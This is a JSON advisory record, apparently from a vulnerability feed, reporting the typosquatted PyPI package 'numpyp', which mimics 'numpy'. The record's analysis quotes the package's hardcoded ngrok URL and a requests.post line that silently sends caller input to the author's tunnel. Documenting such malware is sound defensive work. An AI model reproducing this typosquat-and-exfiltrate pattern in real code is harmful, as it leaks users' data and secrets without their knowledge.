{"id":"MAL-2026-12503","title":"Malicious code in numpyp (PyPI)","summary":"Malicious code in numpyp (PyPI)","severity":"none","vendor":"numpyp","product":"numpyp","ecosystem":"pip","affected":["numpyp"],"published":"2026-08-05","updated":"2026-08-05","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/MAL-2026-12503","references":[{"url":"https://pypi.org/project/numpyp/0.7.7/"}],"tags":["osv","pip"],"ingestedAt":"2026-08-05T19:12:55.342Z","slug":"MAL-2026-12503","body":"## Overview\n\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)\nPackage name `numpyp` is a one-character edit of `numpy` (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in `numpyp/__init__.py` defines `BASE_URL = \"https://fantasize-handcraft-pavement.ngrok-free.dev\"` (an author-controlled ngrok free-tier tunnel) and exports `call(qst, info)` / `ans(qst_id, human)`, which unconditionally POST/GET caller-supplied content to that endpoint (e.g. `requests.post(f\"{BASE_URL}/questions\", json={\"question\": qst, \"info\": info},...)`). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers `pip install numpy` as `numpyp` and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.\n\n\n## Affected packages\n\n- `numpyp`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}